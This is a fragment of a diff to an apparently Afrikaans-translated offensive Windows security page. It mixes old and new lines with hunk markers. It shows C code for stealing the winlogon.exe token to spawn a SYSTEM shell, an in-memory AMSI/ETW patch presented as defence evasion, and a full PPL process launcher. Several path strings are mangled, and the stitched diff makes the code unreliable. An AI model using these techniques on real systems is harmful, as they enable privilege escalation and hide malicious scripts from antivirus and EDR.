## Spawn SYSTEM shell via token duplication (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
As die huidige proses albei `SeDebug` en `SeImpersonate` privileges het (tipies vir baie service-rekeninge), kan jy die token van `winlogon.exe` steel, dit dupliseer, en 'n verhoogde proses begin:
```c
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
#include <windows.h>
@ -102,7 +102,7 @@ DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPri
STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
@ -114,7 +114,7 @@ if (dupToken) CloseHandle(dupToken);
return 0;
}
```
Vir 'n dieper verduideliking van hoe dit werk, sien:
Vir 'n dieper verduideliking van hoe dit werk sien:
{{#ref}}
sedebug-+-seimpersonate-copy-token.md
@ -122,8 +122,8 @@ sedebug-+-seimpersonate-copy-token.md
---
## In-Geheue AMSI & ETW Patching (Verdedigings Ontwyking)
Meeste moderne AV/EDR enjinne staat op **AMSI** en **ETW** om kwaadwillige gedrag te ondersoek. Patching van beide interfaces vroeg binne die huidige proses voorkom dat skrip-gebaseerde payloads (bv. PowerShell, JScript) gescan word.
## In-Memory AMSI & ETW Patch (Defence Evasion)
Die meeste moderne AV/EDR-enjins vertrou op **AMSI** en **ETW** om kwaadaardige gedrag te ondersoek. Om albei koppelvlakke vroeg binne die huidige proses te patch verhoed dat skripgebaseerde payloads (bv. PowerShell, JScript) gescan word.
```c
// gcc -o patch_amsi.exe patch_amsi.c -lntdll
#define _CRT_SECURE_NO_WARNINGS
@ -150,12 +150,56 @@ MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
return 0;
}
```
*Die bogenoemde opdatering is proses-lokaal; om 'n nuwe PowerShell te begin na dit uitgevoer is, sal sonder AMSI/ETW-inspeksie werk.*
*Die patch hierbo is proses-lokaal; die opstart van 'n nuwe PowerShell nadat dit uitgevoer is, sal sonder AMSI/ETW-inspeksie plaasvind.*
---
## Skep kindproses as Protected Process Light (PPL)
Versoek 'n PPL-beskermingsvlak vir 'n kindproses tydens skepping deur gebruik te maak van `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL`. Dit is 'n gedokumenteerde API en sal slegs slaag as die teikenbeeld vir die versoekte signer class (Windows/WindowsLight/Antimalware/LSA/WinTcb) onderteken is.
```c
// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
#include <windows.h>
int wmain(void) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&lvl, sizeof(lvl), NULL, NULL);
if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
return 1;
}
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
```
Vlakke wat die meeste gebruik word:
- `PROTECTION_LEVEL_WINDOWS_LIGHT` (2)
- `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3)
- `PROTECTION_LEVEL_LSA_LIGHT` (4)
Valideer die resultaat met Process Explorer/Process Hacker deur die Protection-kolom te kontroleer.
---
## Verwysings
* Ron Bowes “Fodhelper UAC Bypass Deep Dive” (2024)
* SplinterCode “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
* CreateProcessAsPPL minimal PPL process launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
* Microsoft Docs STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
{{#include ../../banners/hacktricks-training.md}}